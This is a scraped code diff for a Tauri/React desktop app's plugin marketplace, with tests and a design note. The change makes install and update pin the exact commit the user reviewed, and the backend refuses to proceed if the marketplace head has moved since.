onAccept={() => mp.update(pending.update.item, pending.scope)}
|
// Pin exactly the head whose diff is on screen (final review I2).
|
||||||
|
onAccept={() => mp.update(pending.update.item, pending.scope, pending.update.head)}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -8,9 +8,11 @@ interface Props {
|
|||||||
mp: MarketplaceApi;
|
mp: MarketplaceApi;
|
||||||
item: CatalogItem;
|
item: CatalogItem;
|
||||||
marketplaceId: string;
|
marketplaceId: string;
|
||||||
|
/** The marketplace head `item` was read at. */
|
||||||
|
headCommit: string | null;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function ItemDetail({ mp, item, marketplaceId }: Props) {
|
export default function ItemDetail({ mp, item, marketplaceId, headCommit }: Props) {
|
||||||
return (
|
return (
|
||||||
<div className="space-y-3">
|
<div className="space-y-3">
|
||||||
<div>
|
<div>
|
||||||
@@ -45,7 +47,7 @@ export default function ItemDetail({ mp, item, marketplaceId }: Props) {
|
|||||||
)}
|
)}
|
||||||
<div>
|
<div>
|
||||||
<p className="text-xs font-medium mb-1">Install</p>
|
<p className="text-xs font-medium mb-1">Install</p>
|
||||||
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} />
|
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} headCommit={headCommit} />
|
||||||
<p className="mt-2 text-[11px] text-[var(--text-secondary)]">
|
<p className="mt-2 text-[11px] text-[var(--text-secondary)]">
|
||||||
Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes
|
Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes
|
||||||
apply to new Claude sessions.
|
apply to new Claude sessions.
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ const listMarketplaceUpdates = vi.fn();
|
|||||||
const getSettings = vi.fn();
|
const getSettings = vi.fn();
|
||||||
const listProjects = vi.fn();
|
const listProjects = vi.fn();
|
||||||
const installMarketplaceItem = vi.fn();
|
const installMarketplaceItem = vi.fn();
|
||||||
|
const updateMarketplaceItem = vi.fn();
|
||||||
|
|
||||||
vi.mock("../lib/tauri-commands", () => ({
|
vi.mock("../lib/tauri-commands", () => ({
|
||||||
listMarketplaceSnapshots: () => listMarketplaceSnapshots(),
|
listMarketplaceSnapshots: () => listMarketplaceSnapshots(),
|
||||||
@@ -17,6 +18,7 @@ vi.mock("../lib/tauri-commands", () => ({
|
|||||||
getSettings: () => getSettings(),
|
getSettings: () => getSettings(),
|
||||||
listProjects: () => listProjects(),
|
listProjects: () => listProjects(),
|
||||||
installMarketplaceItem: (...a: unknown[]) => installMarketplaceItem(...a),
|
installMarketplaceItem: (...a: unknown[]) => installMarketplaceItem(...a),
|
||||||
|
updateMarketplaceItem: (...a: unknown[]) => updateMarketplaceItem(...a),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
let syncHandler: ((e: { payload: unknown }) => void) | null = null;
|
let syncHandler: ((e: { payload: unknown }) => void) | null = null;
|
||||||
@@ -66,11 +68,23 @@ describe("useMarketplace", () => {
|
|||||||
installMarketplaceItem.mockRejectedValue("boom");
|
installMarketplaceItem.mockRejectedValue("boom");
|
||||||
const { result } = renderHook(() => useMarketplace());
|
const { result } = renderHook(() => useMarketplace());
|
||||||
const ok = await act(() =>
|
const ok = await act(() =>
|
||||||
result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }),
|
result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }, "c".repeat(40)),
|
||||||
);
|
);
|
||||||
expect(ok).toBe(false);
|
expect(ok).toBe(false);
|
||||||
expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error", detail: "boom" });
|
expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error", detail: "boom" });
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it("I2: passes the reviewed commit to install and update", async () => {
|
||||||
|
listMarketplaceSnapshots.mockResolvedValue([]);
|
||||||
|
installMarketplaceItem.mockResolvedValue({});
|
||||||
|
updateMarketplaceItem.mockResolvedValue(undefined);
|
||||||
|
const item = { marketplace_id: "m1", kind: "hook" as const, key: "h" };
|
||||||
|
const { result } = renderHook(() => useMarketplace());
|
||||||
|
await act(() => result.current.install(item, { type: "global" }, "c".repeat(40)));
|
||||||
|
expect(installMarketplaceItem).toHaveBeenCalledWith(item, { type: "global" }, "c".repeat(40));
|
||||||
|
await act(() => result.current.update(item, { type: "project", project_id: "p1" }, "d".repeat(40)));
|
||||||
|
expect(updateMarketplaceItem).toHaveBeenCalledWith(item, { type: "project", project_id: "p1" }, "d".repeat(40));
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe("useMarketplaceSyncToasts", () => {
|
describe("useMarketplaceSyncToasts", () => {
|
||||||
|
|||||||
@@ -21,10 +21,12 @@ export interface MarketplaceApi {
|
|||||||
refresh: (marketplaceId?: string) => Promise<void>;
|
refresh: (marketplaceId?: string) => Promise<void>;
|
||||||
/** Reload settings, projects and the update list after a mutation. */
|
/** Reload settings, projects and the update list after a mutation. */
|
||||||
reloadState: () => Promise<void>;
|
reloadState: () => Promise<void>;
|
||||||
install: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
|
/** `commit`: the marketplace head the user reviewed (see `install_marketplace_item`). */
|
||||||
|
install: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise<boolean>;
|
||||||
uninstall: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
|
uninstall: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
|
||||||
setDisabled: (projectId: string, item: MarketplaceItemRef, disabled: boolean) => Promise<boolean>;
|
setDisabled: (projectId: string, item: MarketplaceItemRef, disabled: boolean) => Promise<boolean>;
|
||||||
update: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
|
/** `commit`: the head whose diff the user accepted. */
|
||||||
|
update: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise<boolean>;
|
||||||
forget: (marketplaceId: string) => Promise<boolean>;
|
forget: (marketplaceId: string) => Promise<boolean>;
|
||||||
remove: (marketplaceId: string) => Promise<boolean>;
|
remove: (marketplaceId: string) => Promise<boolean>;
|
||||||
}
|
}
|
||||||
@@ -146,16 +148,16 @@ export function useMarketplace(): MarketplaceApi {
|
|||||||
load,
|
load,
|
||||||
refresh,
|
refresh,
|
||||||
reloadState,
|
reloadState,
|
||||||
install: (item, scope) =>
|
install: (item, scope, commit) =>
|
||||||
mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope)),
|
mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope, commit)),
|
||||||
uninstall: (item, scope) =>
|
uninstall: (item, scope) =>
|
||||||
mutate(`Could not remove ${item.key}`, () => commands.uninstallMarketplaceItem(item, scope)),
|
mutate(`Could not remove ${item.key}`, () => commands.uninstallMarketplaceItem(item, scope)),
|
||||||
setDisabled: (projectId, item, disabled) =>
|
setDisabled: (projectId, item, disabled) =>
|
||||||
mutate(`Could not change ${item.key} for this project`, () =>
|
mutate(`Could not change ${item.key} for this project`, () =>
|
||||||
commands.setGlobalItemDisabled(projectId, item, disabled),
|
commands.setGlobalItemDisabled(projectId, item, disabled),
|
||||||
),
|
),
|
||||||
update: (item, scope) =>
|
update: (item, scope, commit) =>
|
||||||
mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope)),
|
mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope, commit)),
|
||||||
forget: (marketplaceId) =>
|
forget: (marketplaceId) =>
|
||||||
mutate("Could not forget those installs", () => commands.forgetMarketplaceInstalls(marketplaceId)),
|
mutate("Could not forget those installs", () => commands.forgetMarketplaceInstalls(marketplaceId)),
|
||||||
remove: async (marketplaceId) => {
|
remove: async (marketplaceId) => {
|
||||||
|
|||||||
@@ -449,8 +449,9 @@ export const updateMarketplace = (marketplace: Marketplace) =>
|
|||||||
invoke<AppSettings>("update_marketplace", { marketplace });
|
invoke<AppSettings>("update_marketplace", { marketplace });
|
||||||
export const removeMarketplace = (marketplaceId: string) =>
|
export const removeMarketplace = (marketplaceId: string) =>
|
||||||
invoke<AppSettings>("remove_marketplace", { marketplaceId });
|
invoke<AppSettings>("remove_marketplace", { marketplaceId });
|
||||||
export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
|
/** `expectedCommit`: the head the user reviewed; the backend refuses if it moved. */
|
||||||
invoke<AppSettings>("install_marketplace_item", { item, scope });
|
export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) =>
|
||||||
|
invoke<AppSettings>("install_marketplace_item", { item, scope, expectedCommit });
|
||||||
export const uninstallMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
|
export const uninstallMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
|
||||||
invoke<void>("uninstall_marketplace_item", { item, scope });
|
invoke<void>("uninstall_marketplace_item", { item, scope });
|
||||||
export const setGlobalItemDisabled = (
|
export const setGlobalItemDisabled = (
|
||||||
@@ -466,8 +467,9 @@ export const marketplaceItemDiff = (
|
|||||||
fromCommit: string,
|
fromCommit: string,
|
||||||
toCommit: string,
|
toCommit: string,
|
||||||
) => invoke<FileDiff[]>("marketplace_item_diff", { item, fromCommit, toCommit });
|
) => invoke<FileDiff[]>("marketplace_item_diff", { item, fromCommit, toCommit });
|
||||||
export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
|
/** `expectedCommit`: the head whose diff the user accepted; the backend refuses if it moved. */
|
||||||
invoke<void>("update_marketplace_item", { item, scope });
|
export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) =>
|
||||||
|
invoke<void>("update_marketplace_item", { item, scope, expectedCommit });
|
||||||
export const applyMarketplaceNow = (projectId?: string) =>
|
export const applyMarketplaceNow = (projectId?: string) =>
|
||||||
invoke<ProjectSyncResult[]>("apply_marketplace_now", { projectId: projectId ?? null });
|
invoke<ProjectSyncResult[]>("apply_marketplace_now", { projectId: projectId ?? null });
|
||||||
export const getMarketplaceSyncReport = (projectId: string) =>
|
export const getMarketplaceSyncReport = (projectId: string) =>
|
||||||
|
|||||||
@@ -184,7 +184,10 @@ password = token. Shallow fetch is not used (pins need history for diff/ancestry
|
|||||||
**Update detection** compares each installed item's own tree (item folder / file blob id) at
|
**Update detection** compares each installed item's own tree (item folder / file blob id) at
|
||||||
its pin vs. the branch head; only a changed item shows "update available".
|
its pin vs. the branch head; only a changed item shows "update available".
|
||||||
**Update** shows a text diff of the item's files (pinned → head) and, on accept, moves the pin.
|
**Update** shows a text diff of the item's files (pinned → head) and, on accept, moves the pin.
|
||||||
Hooks' diffs always show the rendered commands.
|
Hooks' diffs always show the rendered commands. Install and update both carry the commit the user
|
||||||
|
reviewed (the head the item was read at, the head of the accepted diff); the backend pins exactly
|
||||||
|
that commit and refuses with "changed since you reviewed this item — review it again" if the
|
||||||
|
marketplace's head has moved since.
|
||||||
|
|
||||||
**Accounts** (`marketplace/auth.rs`):
|
**Accounts** (`marketplace/auth.rs`):
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user